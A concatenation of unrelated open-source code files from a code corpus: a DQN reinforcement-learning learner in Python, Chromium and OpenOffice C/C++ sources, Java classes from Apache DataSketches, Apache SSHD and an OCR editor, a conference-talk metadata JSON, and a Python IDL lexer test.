)
self.target_update_tracker = PeriodicTracker(
period=self.algo.target_network_update_freq,
)
def _update_target(self):
self.q_target.copy_from(self.q_func)
def _run_optimizer(self, loss):
self.optimizer.zero_grad()
loss.backward()
norm_clip = self.algo.grad_norm_clipping
if norm_clip is not None:
self.q_func.clip_grad_norm(norm_clip)
# torch.nn.utils.net_clip_grad_norm(
# self.q_func.parameters(),
# max_norm=norm_clip
# )
self.optimizer.step()
def _optimize(self, obs, actions, rewards, obs_next, dones, weights):
# Compute Q(s_t, a)
# columns of actions taken
batch_size = obs.size(0)
assert (U.shape(actions)
== U.shape(rewards)
== U.shape(dones)
== (batch_size, 1))
q_t_at_action = self.q_func(obs).gather(1, actions)
q_tp1 = self.q_target(obs_next)
# Double Q
if self.algo.double_q:
# select argmax action using online weights instead of q_target
q_tp1_online = self.q_func(obs_next)
q_tp1_online_argmax = q_tp1_online.max(1, keepdim=True)[1]
q_tp1_best = q_tp1.gather(1, q_tp1_online_argmax)
else:
# Minh 2015 Nature paper
# use target network for both policy and value selection
q_tp1_best = q_tp1.max(1, keepdim=True)[0]
# Q value for terminal states are 0
q_tp1_best = (1.0 - dones) * q_tp1_best
# .detach() stops gradient and makes the Variable forget its creator
q_tp1_best = q_tp1_best.detach()
# RHS of bellman equation
q_expected = rewards + self.algo.gamma * q_tp1_best
td_error = q_t_at_action - q_expected
# torch_where
raw_loss = U.huber_loss_per_element(td_error)
weighted_loss = torch.mean(weights * raw_loss)
self._run_optimizer(weighted_loss)
return td_error
def learn(self, batch_exp):
weights = (U.torch_ones_like(batch_exp.rewards))
td_errors = self._optimize(
batch_exp.obs,
batch_exp.actions,
batch_exp.rewards,
batch_exp.obs_next,
batch_exp.dones,
weights,
)
batch_size = batch_exp.obs.size(0)
if self.target_update_tracker.track_increment(batch_size):
# Update target network periodically.
self._update_target()
mean_td_error = U.to_scalar(torch.mean(torch.abs(td_errors)))
self.tensorplex.add_scalars({
'td_error': mean_td_error
})
def default_config(self):
return {
'model': {
'convs': '_list_',
'fc_hidden_sizes': '_list_',
'dueling': '_bool_'
},
'algo': {
'lr': 1e-3,
'optimizer': 'Adam',
'grad_norm_clipping': 10,
'gamma': .99,
'target_network_update_freq': '_int_',
'double_q': True,
'exploration': {
'schedule': 'linear',
'steps': '_int_',
'final_eps': 0.01,
},
'prioritized': {
'enabled': False,
'alpha': 0.6,
'beta0': 0.4,
'beta_anneal_iters': None,
'eps': 1e-6
},
},
}
def module_dict(self):
return {
'q_func': self.q_func
}
"""
def train_batch(self, batch_i, exp):
C = self.config
if C.prioritized.enabled:
# TODO
replay_buffer = PrioritizedReplayBuffer(C.buffer_size,
alpha=C.prioritized.alpha,
obs_encode_mode=C.obs_encode_mode)
beta_iters = C.prioritized.beta_anneal_iters
if beta_iters is None:
beta_iters = C.max_timesteps
beta_schedule = U.LinearSchedule(schedule_timesteps=beta_iters,
initial_p=C.prioritized.beta0,
final_p=1.0)
else:
beta_schedule = None
# TODO train_freq removed, is it useful at all?
# Minimize the error in Bellman's equation on a batch sampled from replay buffer.
if C.prioritized.enabled:
experience = self.replay.sample(C.batch_size,
beta=beta_schedule.value(T))
(obs, actions, rewards, obs_next, dones, weights, batch_idxes) = experience
else:
weights = Variable(U.torch_ones_like(exp.rewards))
batch_idxes = None
td_errors = self.optimize(
exp.obs[0],
exp.actions,
exp.rewards,
exp.obs[1],
exp.dones,
weights,
)
batch_size = exp.obs[0].size(0)
if C.prioritized.enabled:
# TODO
new_priorities = torch.abs(td_errors) + C.prioritized.eps
new_priorities = U.to_numpy(new_priorities)
replay_buffer.update_priorities(batch_idxes, new_priorities)
if self.target_update_tracker.track_increment(batch_size):
# Update target network periodically.
self._update_target()
"""
| 3,428 |
14,668 | <filename>third_party/blink/renderer/modules/webgl/webgl_video_texture_enum.h
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef THIRD_PARTY_BLINK_RENDERER_MODULES_WEBGL_WEBGL_VIDEO_TEXTURE_ENUM_H_
#define THIRD_PARTY_BLINK_RENDERER_MODULES_WEBGL_WEBGL_VIDEO_TEXTURE_ENUM_H_
#define GL_TEXTURE_VIDEO_IMAGE_WEBGL 0x9248
#define GL_SAMPLER_VIDEO_IMAGE_WEBGL 0x9249
#endif // THIRD_PARTY_BLINK_RENDERER_MODULES_WEBGL_WEBGL_VIDEO_TEXTURE_ENUM_H_
| 230 |
679 | <filename>main/l10ntools/source/helpex.cxx<gh_stars>100-1000
/**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
// MARKER(update_precomp.py): autogen include statement, do not remove
#include "precompiled_l10ntools.hxx"
#include <stdio.h>
#include <stdlib.h>
// local includes
#include "helpmerge.hxx"
// defines to parse command line
#define STATE_NON 0x0001
#define STATE_INPUT 0x0002
#define STATE_OUTPUT 0x0003
#define STATE_PRJ 0x0004
#define STATE_ROOT 0x0005
#define STATE_SDFFILE 0x0006
#define STATE_ERRORLOG 0x0007
#define STATE_BREAKHELP 0x0008
#define STATE_UNMERGE 0x0009
#define STATE_UTF8 0x000A
#define STATE_LANGUAGES 0x000B
#define STATE_FORCE_LANGUAGES 0x000C
#define STATE_OUTPUTX 0xfe
#define STATE_OUTPUTY 0xff
// set of global variables
ByteString sInputFile;
sal_Bool bEnableExport;
sal_Bool bMergeMode;
sal_Bool bErrorLog;
sal_Bool bUTF8;
ByteString sPrj;
ByteString sPrjRoot;
ByteString sOutputFile;
ByteString sOutputFileX;
ByteString sOutputFileY;
ByteString sSDFFile;
/*****************************************************************************/
sal_Bool ParseCommandLine( int argc, char* argv[])
/*****************************************************************************/
{
bEnableExport = sal_False;
bMergeMode = sal_False;
bErrorLog = sal_True;
bUTF8 = sal_True;
sPrj = "";
sPrjRoot = "";
Export::sLanguages = "";
Export::sForcedLanguages = "";
sal_uInt16 nState = STATE_NON;
sal_Bool bInput = sal_False;
// parse command line
for( int i = 1; i < argc; i++ ) {
if ( ByteString( argv[ i ]).ToUpperAscii() == "-I" ) {
nState = STATE_INPUT; // next tokens specifies source files
}
else if ( ByteString( argv[ i ]).ToUpperAscii() == "-O" ) {
nState = STATE_OUTPUT; // next token specifies the dest file
}
else if ( ByteString( argv[ i ]).ToUpperAscii() == "-X" ) {
nState = STATE_OUTPUTX; // next token specifies the dest file
}
else if ( ByteString( argv[ i ]).ToUpperAscii() == "-Y" ) {
nState = STATE_OUTPUTY; // next token specifies the dest file
}
else if ( ByteString( argv[ i ]).ToUpperAscii() == "-P" ) {
nState = STATE_PRJ; // next token specifies the cur. project
}
else if ( ByteString( argv[ i ]).ToUpperAscii() == "-LF" ) {
nState = STATE_FORCE_LANGUAGES;
}
else if ( ByteString( argv[ i ]).ToUpperAscii() == "-R" ) {
nState = STATE_ROOT; // next token specifies path to project root
}
else if ( ByteString( argv[ i ]).ToUpperAscii() == "-M" ) {
nState = STATE_SDFFILE; // next token specifies the merge database
}
else if ( ByteString( argv[ i ]).ToUpperAscii() == "-E" ) {
nState = STATE_ERRORLOG;
bErrorLog = sal_False;
}
else if ( ByteString( argv[ i ]).ToUpperAscii() == "-UTF8" ) {
nState = STATE_UTF8;
bUTF8 = sal_True;
}
else if ( ByteString( argv[ i ]).ToUpperAscii() == "-NOUTF8" ) {
nState = STATE_UTF8;
bUTF8 = sal_False;
}
else if ( ByteString( argv[ i ]).ToUpperAscii() == "-L" ) {
nState = STATE_LANGUAGES;
}
else {
switch ( nState ) {
case STATE_NON: {
return sal_False; // no valid command line
}
//break;
case STATE_INPUT: {
sInputFile = argv[ i ];
bInput = sal_True; // source file found
}
break;
case STATE_OUTPUT: {
sOutputFile = argv[ i ]; // the dest. file
}
break;
case STATE_OUTPUTX: {
sOutputFileX = argv[ i ]; // the dest. file
}
break;
case STATE_OUTPUTY: {
sOutputFileY = argv[ i ]; // the dest. file
}
break;
case STATE_PRJ: {
sPrj = argv[ i ];
// sPrj.ToLowerAscii(); // the project
}
break;
case STATE_ROOT: {
sPrjRoot = argv[ i ]; // path to project root
}
break;
case STATE_SDFFILE: {
sSDFFile = argv[ i ];
bMergeMode = sal_True; // activate merge mode, cause merge database found
}
break;
case STATE_LANGUAGES: {
Export::sLanguages = argv[ i ];
}
case STATE_FORCE_LANGUAGES:{
Export::sForcedLanguages = argv[ i ];
}
break;
}
}
}
if ( bInput ) {
// command line is valid
bEnableExport = sal_True;
return sal_True;
}
// command line is not valid
return sal_False;
}
/*****************************************************************************/
void Help()
/*****************************************************************************/
{
fprintf( stdout, "Syntax: HELPEX[-p Prj][-r PrjRoot]-i FileIn ( -o FileOut | -x path -y relfile )[-m DataBase][-e][-b][-u][-L l1,l2,...] -LF l1,l2 \n" );
fprintf( stdout, " Prj: Project\n" );
fprintf( stdout, " PrjRoot: Path to project root (..\\.. etc.)\n" );
fprintf( stdout, " FileIn: Source file (*.lng)\n" );
fprintf( stdout, " FileOut: Destination file (*.*)\n" );
fprintf( stdout, " DataBase: Mergedata (*.sdf)\n" );
fprintf( stdout, " -L: Restrict the handled languages. l1,l2,... are elements of (en-US,fr,de...)\n" );
fprintf( stdout, " A fallback language can be defined like this: l1=f1.\n" );
fprintf( stdout, " f1, f2,... are also elements of (en-US,fr,de...)\n" );
fprintf( stdout, " Example: -L fr=en-US\n" );
fprintf( stdout, " Restriction to fr, en-US will be fallback for fr\n" );
fprintf( stdout, " -LF: Force the creation of that languages\n" );
}
/*****************************************************************************/
#ifndef TESTDRIVER
#if defined(UNX) || defined(OS2)
int main( int argc, char *argv[] )
#else
int _cdecl main( int argc, char *argv[] )
#endif
/*****************************************************************************/
{
if ( !ParseCommandLine( argc, argv )) {
Help();
return 1;
}
//sal_uInt32 startfull = Export::startMessure();
bool hasInputList = sInputFile.GetBuffer()[0]=='@';
// printf("x = %s , y = %s , o = %s\n", sOutputFileX.GetBuffer(), sOutputFileY.GetBuffer() , sOutputFile.GetBuffer() );
bool hasNoError = true;
if ( sOutputFile.Len() ){ // Merge single file ?
//printf("DBG: Inputfile = %s\n",sInputFile.GetBuffer());
HelpParser aParser( sInputFile, bUTF8 , false );
if ( bMergeMode )
{
//sal_uInt64 startreadloc = Export::startMessure();
MergeDataFile aMergeDataFile( sSDFFile, sInputFile , sal_False, RTL_TEXTENCODING_MS_1252 );
//MergeDataFile aMergeDataFile( sSDFFile, sInputFile , sal_False, RTL_TEXTENCODING_MS_1252, false );
//Export::stopMessure( ByteString("read localize.sdf") , startreadloc );
hasNoError = aParser.Merge( sSDFFile, sOutputFile , Export::sLanguages , aMergeDataFile );
}
else
hasNoError = aParser.CreateSDF( sOutputFile, sPrj, sPrjRoot, sInputFile, new XMLFile( '0' ), "help" );
}else if ( sOutputFileX.Len() && sOutputFileY.Len() && hasInputList ) { // Merge multiple files ?
if ( bMergeMode ){
ifstream aFStream( sInputFile.Copy( 1 , sInputFile.Len() ).GetBuffer() , ios::in );
if( !aFStream ){
cerr << "ERROR: - helpex - Can't open the file " << sInputFile.Copy( 1 , sInputFile.Len() ).GetBuffer() << "\n";
exit(-1);
}
vector<ByteString> filelist;
rtl::OStringBuffer filename;
sal_Char aChar;
while( aFStream.get( aChar ) )
{
if( aChar == ' ' || aChar == '\n')
filelist.push_back( ByteString( filename.makeStringAndClear().getStr() ) );
else
filename.append( aChar );
}
if( filename.getLength() > 0 )
filelist.push_back( ByteString ( filename.makeStringAndClear().getStr() ) );
aFStream.close();
ByteString sHelpFile(""); // dummy
//MergeDataFile aMergeDataFile( sSDFFile, sHelpFile , sal_False, RTL_TEXTENCODING_MS_1252, false );
MergeDataFile aMergeDataFile( sSDFFile, sHelpFile , sal_False, RTL_TEXTENCODING_MS_1252 );
//aMergeDataFile.Dump();
std::vector<ByteString> aLanguages;
HelpParser::parse_languages( aLanguages , aMergeDataFile );
bool bCreateDir = true;
for( vector<ByteString>::iterator pos = filelist.begin() ; pos != filelist.end() ; ++pos )
{
sHelpFile = *pos;
cout << ".";cout.flush();
HelpParser aParser( sHelpFile , bUTF8 , true );
hasNoError = aParser.Merge( sSDFFile , sOutputFileX , sOutputFileY , true , aLanguages , aMergeDataFile , bCreateDir );
bCreateDir = false;
}
}
} else
cerr << "helpex ERROR: Wrong input parameters!\n";
//Export::stopMessure( ByteString("full cycle") , startfull );
if( hasNoError )
return 0;
else
return 1;
}
#endif
| 4,318 |
435 | <filename>europython-2019/videos/shailen-sobhee-accelerate-your-deep-learning-inferencing-with-the-intel-r-dl-boost-technology.json
{
"copyright_text": "Creative Commons Attribution license (reuse allowed)",
"description": "Learn about Intel\u00ae Deep Learning Boost, also known as Vector Neural\nNetwork Instructions (VNNI), a new set of AVX-512 instructions, that are\ndesigned to deliver significantly more efficient Deep Learning\n(Inference) acceleration. Through this technology, I will show you how\nyou can perform low-precision (INT8) inference much faster on hardware\nthat support the VNNI instruction set (for example, the 2nd generation\nIntel Xeon Scalable processors, codenamed, Cascade Lake). In the live\nJupyter notebook session, you can will be able to see the benefits of\nthis new hardware technology.\n\nNote: This is an advanced talk. Knowledge about Deep Learning,\nInferencing and basic awareness of hardware instruction sets would be\ndesirable.",
"duration": 1723,
"language": "eng",
"recorded": "2019-07-10",
"related_urls": [
{
"label": "Conference schedule",
"url": "https://ep2019.europython.eu/schedule/"
},
{
"label": "slides",
"url": "https://ep2019.europython.eu/media/conference/slides/NHqFgAn-accelerate-your-deep-learning-inferencing-with-the-intel-dl-bo_bb9IEpT.pdf"
}
],
"speakers": [
"<NAME>"
],
"tags": [
"Data Science",
"Deep Learning",
"Performance",
"python"
],
"thumbnail_url": "https://i.ytimg.com/vi/3MSWONJMOK0/maxresdefault.jpg",
"title": "Accelerate your Deep Learning Inferencing with the Intel\u00ae DL Boost technology",
"videos": [
{
"type": "youtube",
"url": "https://www.youtube.com/watch?v=3MSWONJMOK0"
}
]
}
| 610 |
625 | <gh_stars>100-1000
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.datasketches.hll;
import static org.apache.datasketches.hll.HllUtil.EMPTY;
import static org.apache.datasketches.hll.HllUtil.RESIZE_DENOM;
import static org.apache.datasketches.hll.HllUtil.RESIZE_NUMER;
import static org.apache.datasketches.hll.PreambleUtil.extractInt;
import static org.apache.datasketches.hll.PreambleUtil.extractLgArr;
import org.apache.datasketches.SketchesArgumentException;
import org.apache.datasketches.SketchesStateException;
import org.apache.datasketches.memory.Memory;
/**
* @author <NAME>
* @author <NAME>
*/
class HeapAuxHashMap implements AuxHashMap {
private final int lgConfigK; //required for #slot bits
private int lgAuxArrInts;
private int auxCount;
private int[] auxIntArr; //used by Hll4Array
/**
* Standard constructor
* @param lgAuxArrInts the log size of the aux integer array
* @param lgConfigK must be 7 to 21
*/
HeapAuxHashMap(final int lgAuxArrInts, final int lgConfigK) {
this.lgConfigK = lgConfigK;
this.lgAuxArrInts = lgAuxArrInts;
auxIntArr = new int[1 << lgAuxArrInts];
}
/**
* Copy constructor
* @param that another AuxHashMap
*/
HeapAuxHashMap(final HeapAuxHashMap that) {
lgConfigK = that.lgConfigK;
lgAuxArrInts = that.lgAuxArrInts;
auxCount = that.auxCount;
auxIntArr = that.auxIntArr.clone();
}
static final HeapAuxHashMap heapify(final Memory mem, final long offset, final int lgConfigK,
final int auxCount, final boolean srcCompact) {
final int lgAuxArrInts;
final HeapAuxHashMap auxMap;
if (srcCompact) { //early versions did not use LgArr byte field
lgAuxArrInts = PreambleUtil.computeLgArr(mem, auxCount, lgConfigK);
} else { //updatable
lgAuxArrInts = extractLgArr(mem);
}
auxMap = new HeapAuxHashMap(lgAuxArrInts, lgConfigK);
final int configKmask = (1 << lgConfigK) - 1;
if (srcCompact) {
for (int i = 0; i < auxCount; i++) {
final int pair = extractInt(mem, offset + (i << 2));
final int slotNo = HllUtil.getPairLow26(pair) & configKmask;
final int value = HllUtil.getPairValue(pair);
auxMap.mustAdd(slotNo, value); //increments count
}
} else { //updatable
final int auxArrInts = 1 << lgAuxArrInts;
for (int i = 0; i < auxArrInts; i++) {
final int pair = extractInt(mem, offset + (i << 2));
if (pair == EMPTY) { continue; }
final int slotNo = HllUtil.getPairLow26(pair) & configKmask;
final int value = HllUtil.getPairValue(pair);
auxMap.mustAdd(slotNo, value); //increments count
}
}
return auxMap;
}
@Override
public HeapAuxHashMap copy() {
return new HeapAuxHashMap(this);
}
@Override
public int getAuxCount() {
return auxCount;
}
@Override
public int[] getAuxIntArr() {
return auxIntArr;
}
@Override
public int getCompactSizeBytes() {
return auxCount << 2;
}
@Override
public PairIterator getIterator() {
return new IntArrayPairIterator(auxIntArr, lgConfigK);
}
@Override
public int getLgAuxArrInts() {
return lgAuxArrInts;
}
@Override
public int getUpdatableSizeBytes() {
return 4 << lgAuxArrInts;
}
@Override
public boolean isMemory() {
return false;
}
@Override
public boolean isOffHeap() {
return false;
}
//In C: two-registers.c Line 300.
@Override
public void mustAdd(final int slotNo, final int value) {
final int index = find(auxIntArr, lgAuxArrInts, lgConfigK, slotNo);
final int pair = HllUtil.pair(slotNo, value);
if (index >= 0) {
final String pairStr = HllUtil.pairString(pair);
throw new SketchesStateException("Found a slotNo that should not be there: " + pairStr);
}
//Found empty entry
auxIntArr[~index] = pair;
auxCount++;
checkGrow();
}
//In C: two-registers.c Line 205
@Override
public int mustFindValueFor(final int slotNo) {
final int index = find(auxIntArr, lgAuxArrInts, lgConfigK, slotNo);
if (index >= 0) {
return HllUtil.getPairValue(auxIntArr[index]);
}
throw new SketchesStateException("SlotNo not found: " + slotNo);
}
//In C: two-registers.c Line 321.
@Override
public void mustReplace(final int slotNo, final int value) {
final int idx = find(auxIntArr, lgAuxArrInts, lgConfigK, slotNo);
if (idx >= 0) {
auxIntArr[idx] = HllUtil.pair(slotNo, value); //replace
return;
}
final String pairStr = HllUtil.pairString(HllUtil.pair(slotNo, value));
throw new SketchesStateException("Pair not found: " + pairStr);
}
//Searches the Aux arr hash table for an empty or a matching slotNo depending on the context.
//If entire entry is empty, returns one's complement of index = found empty.
//If entry contains given slotNo, returns its index = found slotNo.
//Continues searching.
//If the probe comes back to original index, throws an exception.
private static final int find(final int[] auxArr, final int lgAuxArrInts, final int lgConfigK,
final int slotNo) {
assert lgAuxArrInts < lgConfigK;
final int auxArrMask = (1 << lgAuxArrInts) - 1;
final int configKmask = (1 << lgConfigK) - 1;
int probe = slotNo & auxArrMask;
final int loopIndex = probe;
do {
final int arrVal = auxArr[probe];
if (arrVal == EMPTY) { //Compares on entire entry
return ~probe; //empty
}
else if (slotNo == (arrVal & configKmask)) { //Compares only on slotNo
return probe; //found given slotNo, return probe = index into aux array
}
final int stride = (slotNo >>> lgAuxArrInts) | 1;
probe = (probe + stride) & auxArrMask;
} while (probe != loopIndex);
throw new SketchesArgumentException("Key not found and no empty slots!");
}
private void checkGrow() {
if ((RESIZE_DENOM * auxCount) > (RESIZE_NUMER * auxIntArr.length)) {
growAuxSpace();
//TODO if direct, ask for more memory
}
}
private void growAuxSpace() {
final int[] oldArray = auxIntArr;
final int configKmask = (1 << lgConfigK) - 1;
auxIntArr = new int[1 << ++lgAuxArrInts];
for (int i = 0; i < oldArray.length; i++) {
final int fetched = oldArray[i];
if (fetched != EMPTY) {
//find empty in new array
final int idx = find(auxIntArr, lgAuxArrInts, lgConfigK, fetched & configKmask);
auxIntArr[~idx] = fetched;
}
}
}
}
| 2,811 |
670 | package com.uddernetworks.mspaint.gui.window.search;
import com.uddernetworks.newocr.character.ImageLetter;
import com.uddernetworks.newocr.recognition.ScannedImage;
import java.io.File;
import java.util.List;
import java.util.stream.Collectors;
public class SearchResult {
private final File file;
private final ScannedImage scannedImage;
private String text;
private boolean ignoreCase;
private final List<ImageLetter> imageLetters;
private List<ImageLetter> contextLine;
private int foundPosition;
private int lineNumber;
public SearchResult(File file, ScannedImage scannedImage, String text, boolean ignoreCase, List<ImageLetter> imageLetters, List<ImageLetter> contextLine, int foundPosition, int lineNumber) {
this.file = file;
this.scannedImage = scannedImage;
this.text = text;
this.ignoreCase = ignoreCase;
this.imageLetters = imageLetters;
this.contextLine = contextLine;
this.foundPosition = foundPosition;
this.lineNumber = lineNumber;
}
public File getFile() {
return file;
}
public ScannedImage getScannedImage() {
return scannedImage;
}
public String getText() {
return text;
}
public boolean isIgnoreCase() {
return ignoreCase;
}
public List<ImageLetter> getImageLetters() {
return imageLetters;
}
public List<ImageLetter> getContextLine() {
return contextLine;
}
public int getFoundPosition() {
return foundPosition;
}
public String getFullLine() {
return imageLettersToString(this.contextLine);
}
@Override
public String toString() {
int startLeft = Math.max(this.foundPosition - 10, 0);
int goToRight = Math.min(this.foundPosition + 10, this.contextLine.size());
List<ImageLetter> displayContextLine = this.contextLine.subList(startLeft, goToRight);
return (startLeft != 0 ? "..." : "") +
displayContextLine.stream()
.map(ImageLetter::getLetter)
.map(String::valueOf)
.collect(Collectors.joining("")) + (goToRight != this.contextLine.size() ? "..." : "");
}
public int getLineNumber() {
return lineNumber;
}
public void setLineNumber(int lineNumber) {
this.lineNumber = lineNumber;
}
public static String imageLettersToString(List<ImageLetter> imageLetters) {
return imageLetters.stream()
.map(ImageLetter::getLetter)
.map(String::valueOf)
.collect(Collectors.joining(""));
}
}
| 1,025 |
403 | <gh_stars>100-1000
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.sshd.server.session;
import java.io.IOException;
import java.security.KeyPair;
import java.util.List;
import org.apache.sshd.common.FactoryManager;
import org.apache.sshd.common.KeyPairProvider;
import org.apache.sshd.common.NamedFactory;
import org.apache.sshd.common.ServiceFactory;
import org.apache.sshd.common.SshConstants;
import org.apache.sshd.common.SshException;
import org.apache.sshd.common.future.SshFutureListener;
import org.apache.sshd.common.io.IoSession;
import org.apache.sshd.common.io.IoWriteFuture;
import org.apache.sshd.common.session.AbstractSession;
import org.apache.sshd.common.util.Buffer;
import org.apache.sshd.server.ServerFactoryManager;
/**
*
* TODO Add javadoc
*
* @author <a href="mailto:<EMAIL>">Apache MINA SSHD Project</a>
*/
public class ServerSession extends AbstractSession {
protected static final long MAX_PACKETS = (1l << 31);
private long maxBytes = 1024 * 1024 * 1024; // 1 GB
private long maxKeyInterval = 60 * 60 * 1000; // 1 hour
public ServerSession(ServerFactoryManager server, IoSession ioSession) throws Exception {
super(true, server, ioSession);
maxBytes = Math.max(32, getLongProperty(ServerFactoryManager.REKEY_BYTES_LIMIT, maxBytes));
maxKeyInterval = getLongProperty(ServerFactoryManager.REKEY_TIME_LIMIT, maxKeyInterval);
log.info("Server session created from {}", ioSession.getRemoteAddress());
sendServerIdentification();
}
public String getNegotiated(int index) {
return negotiated[index];
}
public ServerFactoryManager getFactoryManager() {
return (ServerFactoryManager) factoryManager;
}
protected void checkKeys() {
}
public void startService(String name) throws Exception {
currentService = ServiceFactory.Utils.create(getFactoryManager().getServiceFactories(), name, this);
}
@Override
protected void serviceAccept() throws IOException {
// TODO: can services be initiated by the server-side ?
disconnect(SshConstants.SSH2_DISCONNECT_PROTOCOL_ERROR, "Unsupported packet: SSH_MSG_SERVICE_ACCEPT");
}
protected void checkRekey() throws IOException {
if (kexState.get() == KEX_STATE_DONE) {
if ( inPackets > MAX_PACKETS || outPackets > MAX_PACKETS
|| inBytes > maxBytes || outBytes > maxBytes
|| maxKeyInterval > 0 && System.currentTimeMillis() - lastKeyTime > maxKeyInterval)
{
reExchangeKeys();
}
}
}
private void sendServerIdentification() {
if (getFactoryManager().getProperties() != null && getFactoryManager().getProperties().get(ServerFactoryManager.SERVER_IDENTIFICATION) != null) {
serverVersion = "SSH-2.0-" + getFactoryManager().getProperties().get(ServerFactoryManager.SERVER_IDENTIFICATION);
} else {
serverVersion = "SSH-2.0-" + getFactoryManager().getVersion();
}
sendIdentification(serverVersion);
}
protected void sendKexInit() throws IOException {
/*
* Make sure that the provided host keys have at least one supported signature factory
*/
FactoryManager manager = getFactoryManager();
KeyPairProvider kpp = manager.getKeyPairProvider();
String hostKeyTypes = kpp.getKeyTypes();
List<String> supported = NamedFactory.Utils.getNameList(manager.getSignatureFactories());
String[] provided = hostKeyTypes.split(",");
StringBuilder resolvedHostKeys = null;
for (int index = 0; index < provided.length; index++) {
String keyType = provided[index];
if (!supported.contains(keyType)) {
if (log.isDebugEnabled()) {
log.debug("sendKexInit(" + hostKeyTypes + ") " + keyType + " not in list of supported: " + supported);
}
// Use 1st unsupported key type as trigger to create a new list
if (resolvedHostKeys == null) {
resolvedHostKeys = new StringBuilder(hostKeyTypes.length());
// copy all provided key types up to this index - we know they are supported
for (int supportedIndex = 0; supportedIndex < index; supportedIndex++) {
if (supportedIndex > 0) {
resolvedHostKeys.append(',');
}
resolvedHostKeys.append(provided[supportedIndex]);
}
}
continue;
}
if (resolvedHostKeys != null) {
if (resolvedHostKeys.length() > 0) {
resolvedHostKeys.append(',');
}
resolvedHostKeys.append(keyType);
}
}
// check if had to construct a new list
if (resolvedHostKeys != null) {
// make sure the new list has at least one supported AND provided key type
if (resolvedHostKeys.length() <= 0) {
throw new SshException(SshConstants.SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE,
"sendKexInit(" + hostKeyTypes + ") none of the keys appears in supported list: " + supported);
}
hostKeyTypes = resolvedHostKeys.toString();
}
serverProposal = createProposal(hostKeyTypes);
I_S = sendKexInit(serverProposal);
}
protected boolean readIdentification(Buffer buffer) throws IOException {
clientVersion = doReadIdentification(buffer, true);
if (clientVersion == null) {
return false;
}
log.debug("Client version string: {}", clientVersion);
if (!clientVersion.startsWith("SSH-2.0-")) {
String msg = "Unsupported protocol version: " + clientVersion;
ioSession.write(new Buffer((msg + "\n").getBytes())).addListener(new SshFutureListener<IoWriteFuture>() {
public void operationComplete(IoWriteFuture future) {
close(true);
}
});
throw new SshException(msg);
} else {
kexState.set(KEX_STATE_INIT);
sendKexInit();
}
return true;
}
protected void receiveKexInit(Buffer buffer) throws IOException {
clientProposal = new String[SshConstants.PROPOSAL_MAX];
I_C = receiveKexInit(buffer, clientProposal);
}
public KeyPair getHostKey() {
return factoryManager.getKeyPairProvider().loadKey(negotiated[SshConstants.PROPOSAL_SERVER_HOST_KEY_ALGS]);
}
/**
* Retrieve the current number of sessions active for a given username.
* @param userName The name of the user
* @return The current number of live <code>SshSession</code> objects associated with the user
*/
protected int getActiveSessionCountForUser(String userName) {
int totalCount = 0;
for (IoSession is : ioSession.getService().getManagedSessions().values()) {
ServerSession session = (ServerSession) getSession(is, true);
if (session != null) {
if (session.getUsername() != null && session.getUsername().equals(userName)) {
totalCount++;
}
}
}
return totalCount;
}
/**
* Returns the session id.
*
* @return The session id.
*/
public long getId() {
return ioSession.getId();
}
}
| 3,280 |
777 | #!/usr/bin/env python
# Copyright (c) 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import os
import unittest
from idl_lexer import IDLLexer
from idl_ppapi_lexer import IDLPPAPILexer
#
# FileToTokens
#
# From a source file generate a list of tokens.
#
def FileToTokens(lexer, filename):
with open(filename, 'rb') as srcfile:
lexer.Tokenize(srcfile.read(), filename)
return lexer.GetTokens()
#
# TextToTokens
#
# From a source file generate a list of tokens.
#
def TextToTokens(lexer, text):
lexer.Tokenize(text)
return lexer.GetTokens()
class WebIDLLexer(unittest.TestCase):
def setUp(self):
self.lexer = IDLLexer()
cur_dir = os.path.dirname(os.path.realpath(__file__))
self.filenames = [
os.path.join(cur_dir, 'test_lexer/values.in'),
os.path.join(cur_dir, 'test_lexer/keywords.in')
]
#
# testRebuildText
#
# From a set of tokens, generate a new source text by joining with a
# single space. The new source is then tokenized and compared against the
# old set.
#
def testRebuildText(self):
for filename in self.filenames:
tokens1 = FileToTokens(self.lexer, filename)
to_text = '\n'.join(['%s' % t.value for t in tokens1])
tokens2 = TextToTokens(self.lexer, to_text)
count1 = len(tokens1)
count2 = len(tokens2)
self.assertEqual(count1, count2)
for i in range(count1):
msg = 'Value %s does not match original %s on line %d of %s.' % (
tokens2[i].value, tokens1[i].value, tokens1[i].lineno, filename)
self.assertEqual(tokens1[i].value, tokens2[i].value, msg)
#
# testExpectedType
#
# From a set of tokens pairs, verify the type field of the second matches
# the value of the first, so that:
# integer 123 float 1.1 ...
# will generate a passing test, when the first token has both the type and
# value of the keyword integer and the second has the type of integer and
# value of 123 and so on.
#
